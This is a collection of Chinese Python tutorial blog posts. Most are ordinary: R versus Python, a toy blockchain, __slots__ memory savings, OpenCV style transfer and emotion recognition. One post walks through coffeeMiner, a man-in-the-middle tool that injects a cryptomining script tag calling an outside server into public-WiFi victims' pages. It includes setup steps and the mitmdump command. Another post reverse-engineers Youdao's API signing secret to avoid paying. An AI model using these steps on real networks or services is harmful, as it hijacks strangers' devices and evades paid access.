Python Vs R:你应该学哪个?

本文翻译自英文: R Vs Python: Which One Should You Learn?

如果你想成为一名专业的数据科学家,你至少需要学习一种编程语言。但是如何在Python和R这两种最流行的数据分析语言之间做出选择呢? 如果你有兴趣了解他们各自的优缺点,请继续阅读!

作为一名数据科学家,您可能需要学习SQL(结构化查询语言)。SQL实际上是关系数据的语言,大多数公司的信息仍然存在这种数据中。但SQL只给了你检索数据的能力,而不具备数据清洗或运行模型的能力——这就是Python和R的所用之处。

关于R的一点背景知识

R语言是由来自新西兰奥克兰大学的两位统计学家Ross Ihaka和Robert Gentleman发明的。它最初在1995年发布,并在2000年发布了一个较为稳定的测试版。它是一种解释型语言(不需要在运行代码前编译),并拥有一套非常强大的统计建模和绘图工具

R语言是S语言的一种实现,S语言是上世纪70年代在贝尔实验室开发的一种统计编程语言,它的灵感来自于Scheme (Lisp的一种变体)。它也是可扩展的,很容易从许多其他编程语言调用R的对象。

R语言是免费的,并且已经变得越来越受欢迎。相比于传统的商业统计软件包,如SAS和SPSS,大多数用户喜欢使用RStudio编写他们的R代码,RStudio是一种集成开发环境(IDE)。

关于Python的一点背景知识

Pytho最初是1991年由Guido van Rossum作为通用编程语言发布的。与R一样,它也是一种解释型语言,并且有一个相对全面的标准,可以轻松地对许多常见任务进行编程,不需要安装额外的。同样,它也是免费的。

对于数据科学来说,Python提供了许多非常强大。有NumPy(高效数值计算)、panda(广泛的数据清洗和分析工具)和statsmodel(常见的统计方法)。还有TensorFlow、Keras和PyTorch(用于构建深度学习神经网络的)。

现在,许多数据科学家使用Python编写时使用 Jupyter NotebooksJupyter Notebooks 可以方便地创建混合了文章、代码、数据和可视化图形的文档,从而方便地记录研究过程,也方便其他数据科学家查看和复制工作。

选择一种语言

从历史上来看,数据科学界内部存在着相当大的分歧。通常,具有较强学术或统计背景的数据科学家喜欢R,而具有较多编程背景的数据科学家则更喜欢Python。

Python的优势

对比于R,Python具有以下优势:

1.通用: Python是一种通用编程语言。它非常适合进行统计分析,不仅如此,如果你希望构建一个用于共享数据的网站,或者构建一个易于与生产系统集成的web服务,那么Python相对于R是更灵活、更有力的选择。

2.越来越受欢迎: 在2019年9月Tiobe最受欢迎的编程语言指数中,Python是第三大最受欢迎的编程语言(去年增长了超过2%),而R从去年的第18位下降到了第19位。

3.更适合深度学习: 大多数深度学习项目都在Python语言的基础上使用TensorFlow或PyTorch。虽然R TensorFlow已经发布了, 但是其依然远不及Python TensorFlow. 随着深度学习应用变得日益广泛(从计算机视觉开始,现在已经成为大多数处理自然语言任务的默认方法),Python变得越来越重要。

4.与其他语言相似: Python与其他语言相似,这可以节省许多学习成本。虽然有Lisp背景的人可以很快学会R, 但是有Lisp背景的人毕竟是少数。对于Python,你只要学过一种流行语言,比如Java, c#, JavaScript或Ruby——那么学起来将非常轻松。

仍然有很多工作需要使用到R,所以如果你有时间的话,不妨同时学习这两种语言。但是我认为,对于数据科学家来说,Python正在成为占主导地位的编程语言,是更好的首选学习对象。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 搭建简单的食品安全溯源区块链

部分引用自: Satwik Kansal
Develop a blockchain application from scratch in Python

这两天比特币暴涨到了9000美元,除了习大大重点点名的影响,还有明年4月比特币区块减半的因素在里面。不过这些都不是今天这篇文章的重点,今天我们要重点关注的是比特币的事务(在帐户之间转移比特币)的原理——区块链。并用它来搭建一个简单的去中心化的食品安全溯源区块链。

区块链是一种存储数字数据的方式,数据可以是任何内容。对于比特币而言,它就是账户之间转移比特币的事务,我们还可以将其应用到食品安全领域,那就是保存食品制作过程中的各个步骤的时间、原料、制作者等。

用区块链记录这些过程十分具备优势,因为区块链可以具备以下特点:

  • 1.历史记录无法修改(本文重点讨论)
  • 2.数据去中心化保存
  • 3.无单点故障

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

1.将数据存储到区块中

我们将用json保存我们想要的数据,以下是一个例子:

{
    "timestamp": "1572185927665", 
    "source": "香肠加工", 
    "recorder": "小詹"
}

2.让区块不可被更改

为了保证历史记录无法被修改,一旦被修改我们能检测出对区块的数据的任何篡改,因此我们需要用到哈希函数SHA256,它能从任何一种数据中心创建数字指纹,以保证数据的唯一性。下面是一个例子:

from hashlib import sha256
data = "TEST".encode("utf-8")
print(sha256(data).hexdigest())

然后我们将哈希得到的结果保存到区块的一个字段里,其作用类似于它所包含的数据的数字指纹:

from hashlib import sha256
import json
class Block: 
    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

3.链接区块

我们已经设置好了区块,但区块链应该是一个区块集合,我们可以把所有的区块存储在列表中,但是这远远不够,如果有人故意替换了一个区块怎么办?我们需要采用某种方法来确保对过去的区块的任何更改都会造成整个链的失效。我们将通过哈希值将区块连接起来,即将前一个区块的哈希值包含在当前区块中。所以如果当前的区块的内容发生更改,该区块的哈希值也会发生更改,导致与下一个区块的前一个区块(previous_hash)的哈希字段不匹配

每一个区块都根据previous_hash字段链接到前一个区块,但是第一个区块(创始区块)怎么办?大多数情况下,我们将手动为他赋值。

将index、时间戳、数据段和previous_hash加到区块类的初始化中:

from hashlib import sha256
import json
class Block: 
    def __init__(self, index, data, timestamp, previous_hash):
        self.index = index 
        self.data = data
        self.timestamp = timestamp
        self.previous_hash = previous_hash 

    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

这是我们的区块链类:

class Blockchain:
    def __init__(self): 
        self.unconfirmed_data = [] # 尚未进入区块链的数据
        self.chain = []
        self.create_genesis_block()
 
    def create_genesis_block(self): 
        """
        生成创始区块(genesis block)并将其附加到链中的函数。
        该块的索引为0,previous_hash为0,并且是一个有效的散列。
        """
        genesis_block = Block(0, [], time.time(), "0")
        genesis_block.hash = genesis_block.compute_hash()
        self.chain.append(genesis_block)
 
    @property
    def last_block(self): 
        return self.chain[-1]

4.工作量证明算法

其实这样做,还远远不够。因为我们更改前一个区块就可以非常轻松地计算后续所有区块的哈希值,创建一个不同且有效的区块链。为了预防这种情况,我们必须让计算哈希值的任务变得困难和随机化。

我们将引入一个约束条件和一个叫nonce的随机数的新字段。这个约束条件就是块哈希开头部分的零 (前导零) 的个数,随机数会不断变化,直到我们获得满足约束条件的哈希值。前导零的数量决定了工作量证明算法的难度。看看下面比特币出块图就知道了,比特币的难度的不断增加是通过增加前导零的数量实现的。

假设我们的难度是2,则编写工作量证明算法代码如下:

class Blockchain: 
    # 前面的代码略
    # 难度
    difficulty = 2
    def proof_of_work(self, block): 
        """
        函数尝试不同的随机数以获得满足我们难度的块哈希。
        """
        block.nonce = 0
        computed_hash = block.compute_hash()
        while not computed_hash.startswith('0' * Blockchain.difficulty): 
            block.nonce += 1
            computed_hash = block.compute_hash()
        return computed_hash 

这样做有一个好处:只能通过暴力破解确定随机数,这就是为什么现在挖矿行业这么火爆的原因。

5.将区块添加到链中

要将区块添加到链中,我们得先验证工作量证明是否正确,以及要添加的区块的previous_hash 字段是否指向链中最新区块的哈希值。

class Blockchain:
    # 前面的代码略
    def is_valid_proof(self, block, block_hash):
        """
        工作量证明验证,并确保previous_hash正确
        """
        return (block_hash.startswith('0' * Blockchain.difficulty) and
                block_hash == block.compute_hash())

    def add_block(self, block, proof):
        """
        在验证成功后将块链接起来
        """
        previous_hash = self.last_block.hash
        if previous_hash != block.previous_hash: 
            return False
        if not self.is_valid_proof(block, proof): 
            return False
        block.hash = proof
        self.chain.append(block)
        return True

6.挖矿

数据将存储在unconfirmed_data中,将unconfirmed_data中的数据放入区块中并计算工作量证明的过程称为挖矿。一旦找到满足约束条件的随机数,就可以说我们挖到了一个区块,这个区块就会放入区块链中。

在比特币中,作为对耗费算力来计算工作量证明的奖励,矿工可以获得一些加密货币,以下是我们的挖矿函数:

class Blockchain:
# 前面代码略
    def add_new_data(self, data): 
        self.unconfirmed_data.append(data)
 
    def mine(self): 
        """
        此函数充当一个接口,将未决数据添加到块中并计算工作证明,
        然后将它们添加到区块链。
        """
        if not self.unconfirmed_data: 
            return False
 
        last_block = self.last_block
 
        new_block = Block(index=last_block.index + 1,
                          data=self.unconfirmed_data,
                          timestamp=time.time(),
                          previous_hash=last_block.hash)
 
        proof = self.proof_of_work(new_block)
        self.add_block(new_block, proof)
        self.unconfirmed_data = []
        return new_block.index

测试

现在,这条链基本建造完成了,让我们试一试效果。尝试往里面添加一个区块:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)

添加成功:

F:\push\20191027>python block.py
Success

现在数据是在 unconfirmed_data 中,我们需要挖矿,让它成功添加到区块链上:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

def mine_unconfirmed_transactions(blockchain): 
    result = blockchain.mine()
    if not result: 
        print("No data need to mine")
    print("Block #{} is mined.".format(result))

bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)
mine_unconfirmed_transactions(bc)

输出结果:

F:\push\20191027>python block.py
Success
Block #1 is mined.

现在来看看区块链上是不是有两个区块了(一个创始块,一个我们新增的区块)显示数据:

def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

print(get_chain(bc)) 

结果:

F:\push\20191027>python block.py
 Success
 Block #1 is mined.
 {"length": 2, "chain": [{"index": 0, "data": [], "timestamp": 1572187230.2847784, "previous_hash": "0", "hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa"}, {"index": 1, "data": [{"source": "\u9999\u80a0\u52a0\u5de5", "recorder": "\u5c0f\u8a79", "timestamp": 1572187230.2847784}], "timestamp": 1572187230.2847784, "previous_hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa", "nonce": 0, "hash": "0026b22937fdcb24978814dd26cdf64a6210966c26914e66b73ca68805f1cd5a"}]}

非常nice,这样我们就成功新建了一个非常简单的食品安全溯源区块链,当然离上线还有很远的距离(如去中心化及建立共识),但是万事开头难,解决了开头部分,后续就不再会有什么难题了。

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python减少字典对象占用的七成内存

程序执行过程中,如果RAM中有大量的对象在运行,就可能会出现内存问题,特别是在对可用内存总量有限的情况下。

下面是一些减少字典对象内存大小的方法,这些方法可以显著减少对象所需的RAM大小。

字典

在Python里用字典来表示结构信息是非常方便的:

>>> ob = {'x':1, 'y':2, 'z':3}
>>> x = ob['x']
>>> ob['y'] = y

但我们来看看它的内存消耗:

>>> print(sys.getsizeof(ob))
240

这个数额看起来好像挺小,但是当你想要创造许多这样的变量时就积小成多了:

对象数目内存大小
1 000 000240 Mb
10 000 0002.40 Gb
100 000 00024 Gb

解决方案

用类实例来代替字典:

class Point:
    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> x = ob.x
>>> ob.y = y

类实例各个部分的内存大小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
__weakref__8
__dict__8
TOTAL:56

如果你不是很了解类和实例,可以看廖雪峰的这篇文章。这里的__weakref__是对这个对象的弱引用列表的引用,而__dict__是对类实例字典的引用,它包含实例属性的值。从Python 3.3开始, 类的所有实例用共享空间存储字典的keys. 这减少了内存中实例的大小:

>>> print(sys.getsizeof(ob), sys.getsizeof(ob.__dict__)) 
56 112

56+112=168 < 240. 因此,大量的类实例占用的内存比普通字典(dict)要少:

实例数目大小
1 000 000168 Mb
10 000 0001.68 Gb
100 000 00016.8 Gb

字典占实例大小的百分比为112/168=67%, 我们还是可以看出,实例中字典的大小严重影响了RAM中实例的大小。

带__slots__的类实例

通过消除__dict__和weakref__,可以显著减少RAM中的类实例的大小。用__slots__是有可能做到的:

class Point:
    __slots__ = 'x', 'y', 'z'

    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
64

RAM中的对象明显变小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
x8
y8
z8
TOTAL:64

今日重点:在类定义中使用__slots__会显著减少大量实例的内存占用

实例数目大小
1 000 00064 Mb
10 000 000640 Mb
100 000 0006.4 Gb

目前,这是大幅度减少RAM中类实例的内存占用的主要方法。相比于单纯用字典,减少了(240-64)/240=73%的内存占用。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 十个加快编程效率的技巧(tricks)

1.交换两个数字

x, y = 10, 20
print(x, y) 
x, y = y, x 
print(x, y) 

输出

10 20
20 10

2.反转字符串

a ="GeeksForGeeks"
print("Reverse is", a[::-1]) 

输出

Reverse is skeeGroFskeeG

3.连接列表中的元素

a = ["Geeks", "For", "Geeks"] 
print(" ".join(a)) 

输出

Geeks For Geeks

4.多比较符

n = 10
result = 1 < n < 20 
print(result)  
result = 1 > n <= 9
print(result) 

输出

True
False

5.输出模块的位置

import os; 
import socket; 

print(os) 
print(socket) 

输出

<module 'os' from '/usr/lib/python3.5/os.py'>
<module 'socket' from '/usr/lib/python3.5/socket.py'>

6.使用枚举

class MyName: 
    Geeks, For, Geeks = range(3) 

print(MyName.Geeks) 
print(MyName.For) 
print(MyName.Geeks) 

输出

2
1
2

7.函数返回多个值

def x(): 
    return 1, 2, 3, 4
a, b, c, d = x() 
print(a, b, c, d) 

输出

1 2 3 4

8.找到数组中出现频率最高的数

test = [1, 2, 3, 4, 2, 2, 3, 1, 4, 4, 4] 
print(max(set(test), key = test.count)) 

输出

4

9.检查对象占用内存大小

import sys 
x = 1
print(sys.getsizeof(x)) 

输出

28

10.检查两个字符串是否字谜(字母和出现次数一致)

from collections import Counter 
def is_anagram(str1, str2): 
    return Counter(str1) == Counter(str2) 
print(is_anagram('geek', 'eegk')) 
  
print(is_anagram('geek', 'peek'))   

输出

True
False

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 利用公共WiFi挖矿(开源项目仅作研究)

BTC收益

挖矿是什么?只要你加入矿池,提供一定的算力,你就能获得收益。比如poolin矿池,1TH算力的每日收益是1.15元人民币,如果你有一台16TH的矿机,每日的收益就是1.15*16=18.4元,当然,净利润还要去除电费成本。

但是矿机的成本不容忽视,一台16TH的全新矿机价格需要约为3000元上下,二手也要接近千元。如果你买了一台16TH的二手矿机,你需要近54天才能回本。如果说能“借用”他人的算力进行挖矿,那可就太舒服了。西班牙有位叫阿尔诺的开发人员就想到了,能不能利用公共wifi网络进行挖矿呢?

这就是coffeeMiner脚本的用处,它利用中间人攻击的原理,将类似于下面的HTML代码注入到非HTTPS的网页中。

 <script src="http://httpserverIP:8000/.js" type="text/java"></script>

一旦这个脚本被加载,就会执行服务器上的java代码,将本机变成一名矿工,抽取CPU时间,利用挖矿软件来挖名为Monero的加密货币。

不过,它的缺点是对HTTPS页面的请求不起作用,加上SSLStrip可以补上这一不足。 整个脚本都是Python写的,如果你有兴趣可以访问这个项目: coffeeMiner

该项目简单的使用教程

  • 1.执行安装脚本:install.sh
bash install.sh
  • 2.编辑 victims.txt ,一行一个IP
  • 3.编辑 coffeeMiner.py, 第二十八行,将10.0.2.20改为你的矿工服务器的IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • 4.执行 coffeeMiner.py
python coffeeMiner.py ipgateway

如果你无法访问github,也可以关注下方Python实用宝典公众号,回复 coffeeminer 获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 超简单实现9种图像风格迁移

图像风格迁移已经属于比较成熟的领域了,现在连实时的风格迁移都不成问题。之前一直想出一篇这样的文章,但无奈于大部分开源项目配置起来非常麻烦,比如 luanfujun/deep-photo-styletransfer 项目,需要安装 CUDA、pytorch、cudnn等等,配置完一天都过去了。

不过现在我们有了非常好的开源应用项目,那就是OpenCV的DNN图像风格迁移。你只需要安装OpenCV就可以使用了,在cmd/terminal中输入(如果你还没有安装Python,请看这篇文章:Python安装):

 pip install python-opencv

不过它也是有局限性的,我们只能用别人训练好的模型进行风格迁移,如果我们要自定义风格,那就必须配置cudn等工具,使用 deep-photo-styletransfer 等项目的方法进行训练,今天的教程我们拿fast-neural-style训练好的模型对下面的图片做一次风格迁移。

喵喵喵

1.选择模型

fast-neural-style放出的模型风格一共有9种,我们将一一尝试,其中部分风格如下比如:

candy
mosaic
starry_night
udnie

模型文件可以关注我们下方公众号 Python实用宝典,回复 风格迁移 下载,里面有全部10个模型风格的资源。

2.克隆OpenCV源码

我们直接克隆OpenCV开源项目中关于DNN图像迁移的例子,地址是:

https://github.com/opencv/opencv/blob/3.4.0/samples/dnn/fast_neural_style.py

代码如下:

import cv2 as cv
import numpy as np
import argparse

parser = argparse.ArgumentParser(
        description='This script is used to run style transfer models from '
                    'https://github.com/jcjohnson/fast-neural-style using OpenCV')
parser.add_argument('--input', help='Path to image or video. Skip to capture frames from camera')
parser.add_argument('--model', help='Path to .t7 model')
parser.add_argument('--width', default=-1, type=int, help='Resize input to specific width.')
parser.add_argument('--height', default=-1, type=int, help='Resize input to specific height.')
parser.add_argument('--median_filter', default=0, type=int, help='Kernel size of postprocessing blurring.')
args = parser.parse_args()

net = cv.dnn.readNetFromTorch(args.model)

if args.input:
    cap = cv.VideoCapture(args.input)
else:
    cap = cv.VideoCapture(0)

cv.namedWindow('Styled image', cv.WINDOW_NORMAL)
while cv.waitKey(1) < 0:
    hasFrame, frame = cap.read()
    if not hasFrame:
        cv.waitKey()
        break

    inWidth = args.width if args.width != -1 else frame.shape[1]
    inHeight = args.height if args.height != -1 else frame.shape[0]
    inp = cv.dnn.blobFromImage(frame, 1.0, (inWidth, inHeight),
                              (103.939, 116.779, 123.68), swapRB=False, crop=False)

    net.setInput(inp)
    out = net.forward()

    out = out.reshape(3, out.shape[2], out.shape[3])
    out[0] += 103.939
    out[1] += 116.779
    out[2] += 123.68
    out /= 255
    out = out.transpose(1, 2, 0)

    t, _ = net.getPerfProfile()
    freq = cv.getTickFrequency() / 1000
    print(t / freq, 'ms')

    if args.median_filter:
        out = cv.medianBlur(out, args.median_filter)

    cv.imshow('Styled image', out) 

注意,源代码是基于Python2的,所以第46行少了括号,如果你是Python3请注意补上括号。

这份代码可以直接使用, parser 里定义了5个参数:

–input输入要迁移的图像位置,

–model指要使用的模型,

–width/–height指的是迁移后的图像宽度和高度,

median_filter 是中值滤波器, 基本思想是用像素点邻域灰度值的中值来代替该像素点的灰度值,因此理论上数值越大,图像越平滑,输出的结果细节越好(不确定)。

median_filter 亲自试了一下,对结果的影响不大。

3.开始迁移

将上述代码保存到一个文件中,命名为1.py,在CMD/Terminal中带参数运行脚本即可迁移。如:

python 1.py --input 1.jpg --model udnie.t7

效果如下:

全部9种风格的迁移效果:

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 超简单实现人类面部情绪的识别

还记得我们之前写过一篇文章《手把手教你人脸识别自动开机》吗?里面用OpenCV对人脸进行简单的识别,让计算机训练认识到某个特定人物后识别对象。今天来做点高级的,识别出人脸的情绪

本文分为两大部分:

1.面部检测:检测图像的脸部位置,输出边界框的坐标

2.情绪检测:将面部的情绪分为高兴、生气、悲伤、中性、惊讶、厌恶、恐惧。

一、面部检测

可以使用上次文章( 《手把手教你人脸识别自动开机》 )中讲到的方法—用openCV检测,也可以使用face_recognition项目非常简单地实现面部检测。

这里我们尝试一下face_recognition项目, face_recognition 安装:

Face_recognition需要用到一个包叫dlib, 通过pip可能不一定装得上,因此这里推荐大家使用anaconda安装dlib:

conda install -c conda-forge dlib 

然后再安装Face_recognition:

pip install face_recognition

用face_recognition三句代码就能识别图像中的脸部:

import face_recognition
image = face_recognition.load_image_file("1.png")
face_locations = face_recognition.face_locations(image)

二、情绪检测

人类习惯从面部表情中吸收非言语暗示,那么计算机可以吗?答案是肯定的,但是需要训练它学会识别情绪。今天我们不太可能讲收集数据、构建CNN模型等逻辑流程。我们直接用priya-dwivedi训练好的模型,他们用Kaggle开源数据集(人脸情感识别 FER)训练了一个六层卷积神经网络模型。

现在就调用模型识别一下孙哥在这张图里的情绪吧:

import face_recognition
import numpy as np
import cv2
from keras.models import load_model
emotion_dict= {'生气': 0, '悲伤': 5, '中性': 4, '厌恶': 1, '惊讶': 6, '恐惧': 2, '高兴': 3}

image = face_recognition.load_image_file("1.png")
# 载入图像
face_locations = face_recognition.face_locations(image)
# 寻找脸部
top, right, bottom, left = face_locations[0]
# 将脸部框起来

face_image = image[top:bottom, left:right]
face_image = cv2.resize(face_image, (48,48))
face_image = cv2.cvtColor(face_image, cv2.COLOR_BGR2GRAY)
face_image = np.reshape(face_image, [1, face_image.shape[0], face_image.shape[1], 1])
# 调整到可以进入该模型输入的大小

model = load_model("./model_v6_23.hdf5")
# 载入模型

predicted_class = np.argmax(model.predict(face_image))
# 分类情绪
label_map = dict((v,k) for k,v in emotion_dict.items()) 
predicted_label = label_map[predicted_class]
# 根据情绪映射表输出情绪
print(predicted_label)

结果:

python emotion.py
高兴

从下面终端输出的结果我们可以看到孙哥现在是高兴的情绪,这个结果应该正确(毕竟孙哥还是表里如一的)。

虽然简单,但还是建议有兴趣的同学从头到尾做一遍试一下,过程中会遇到不少的坑,慢慢百度谷歌解决就好了。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 优秀开源项目推荐—实时语音克隆等 (2019年8月)

1. 实时语音克隆: 非常流弊的项目,能在5秒钟内克隆对象的语音实时生成任意文本语音,而且生成的语音非常非常像!By Corentin Jemine.

实时语音克隆

2. 婴儿名字分析:将数据集“社会保障卡应用程序的婴儿名字”的数据进行抽取、转换、加载和分析。

婴儿名字分析

3.Pyrobot:PyRobot 开源机器人研究平台。PyRobot是一个轻量级的Python高级接口,为机器人操作和导航提供api。该开源还包含了LoCoBot的底层堆栈,LoCoBot是一种低成本的移动机械手硬件平台。

PyRobot

4.苹果嗅探器 Apple_bleee:一个可以知道苹果手机当前状态的蓝牙嗅探器,如是否开了WIFI、当前界面是否在桌面、是否正在拨通电话、是否正在锁屏状态等等。

蓝牙嗅探器

5.Gryphon:强大,可靠且可扩展的开源软件框架, 用于构建和运行加密货币市场中的算法交易策略,可以任何频率建立交易策略。

Gryphon

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 反编译调用有道翻译(附完整代码)

网易有道翻译是一款非常优秀的产品,他们的神经网络翻译真的挺无敌。无奈有道客户端实在是太难用了,而且在某些具体场景(比如对网站进行批量翻译)无法使用,而有道的云服务又特别的贵,一般人是无法支付得起的。

然而理论上而言,所有看得见的东西都是爬得到的,有道翻译接口也一样。为了祖国未来花朵(咸鱼) 的发展,今天就来给大家介绍一下如何用 Python超简单快速地调用有道翻译得到翻译结果 。此外,本教程仅供学习哦。

如果你懒得看教程,只想要拿到源代码,请关注Python实用宝典公众号并回复:“Python有道接口” 。

1.找到翻译相关接口

打开 fanyi.youdao.com 随便输入一个单词进行翻译,使用开发者工具(空白处右键检查或F12)查看请求数据。

可以看到,请求的接口是:
http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule

开发者工具往下拉,查看Form Data得到请求的body是:

  1. i: 你好
  2. from: AUTO
  3. to: AUTO
  4. smartresult: dict
  5. client: fanyideskweb
  6. salt: 15707931034929
  7. sign: 99d0fc48506346afc40e36d5648cc320
  8. ts: 1570793103492
  9. bv: ca3dedaa9d15daa003dbdaaa991540d1
  10. doctype: json
  11. version: 2.1
  12. keyfrom: fanyi.web
  13. action: FY_BY_REALTlME

2.解析请求body内容

显然,以上body内容中,i 是需要翻译的文本,from是原文语言,to是翻译语言。我们其他的参数只需要设置为一致的即可。现在需要解决这几个参数:salt, sign, bv,ts.

ts从格式上看就知道是时间戳,而且ts和salt内容很接近,且只差了一位,可以合理猜测,salt就是ts+1位随机数。

接下来就差sign和bv,这两个值看起来非常像MD5,不过不确定是什么参数的MD5,因此需要阅读前端源代码。

在performance中录制,重新请求接口,找到翻译接口的前端代码(fanyi.min.js).然后搜索我们的关键词sign或者bv. 使用debug工具查看值的流动。

从这里我们可以知道,bv 即浏览器头部信息MD5的值,我的浏览器头部是这样的: “5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36”

实际上在请求接口的时候随便用什么头部都能过这个校验,只要符合标准就行。

最后一个未知参数是sign. 同样,我们打开debug模式,输入信息,就可以得到其值了。

很显然,sign由n.md5(“fanyideskweb” + e + i + “n%A-rKaT5fb[Gy?;N5@Tj”)组成,而e根据debug显示的结果,就是我们需要翻译的信息,而i就是salt. 因此4个参数我们全部成功反编译!

3. 用Python调用接口进行翻译

我们只需要伪造请求的body,向接口发送post请求即可得到翻译结果。比如,ts是13位时间戳,在Python中可以使用time.time()*1000获得:

ts = str(int(time.time()*1000))

salt是ts+一位随机数,太简单了:

salt = ts + str(random.randint(0, 9))

bv是浏览器User-Agent,需要进行MD5计算,我们新建一个MD5函数,将字符串传入函数获得MD5。

def get_md5(string):
    string = string.encode('utf-8')
    md5 = hashlib.md5(string).hexdigest()
    return md5
bv = get_md5("5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36")

sign是四个字符串组成后进行MD5的结果:

sign = get_md5("fanyideskweb" + context + salt + "n%A-rKaT5fb[Gy?;N5@Tj") 

这样,我们获得了所有需要用到的参数,集合在一起后发送post请求。

试一下效果:

print(translation('你好')) 

成功得到接口返回的翻译结果:

(base) F:\push\20191011>python YouDaoSpider.py
hello 

关注下方的公众号,回复 “Python有道接口“即可获得全部源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python源代码 网易云音乐歌曲批量下载,免VIP,仅供测试

[download_code]

网易云音乐歌曲批量下载目前支持歌单和排名榜,只要使用正确的URL则可以使用。

更新:

  • 20180807 项目上传

要求(py脚本)

  • python3+requests+wxpython+BeautifulSoup4+lxml

文件结构:

├── dist
│   └── main.exe
├── GUI
│   └── pro-gui.fbp
├── images
│   ├── example.gif
├── README.md
├── src
│   ├── main.py

使用方法

  • 可从dist文件中直接下载main.exe使用或者直接main.py

URL获取

有趣好用的Python教程

退出移动版
微信支付
请使用 微信 扫码支付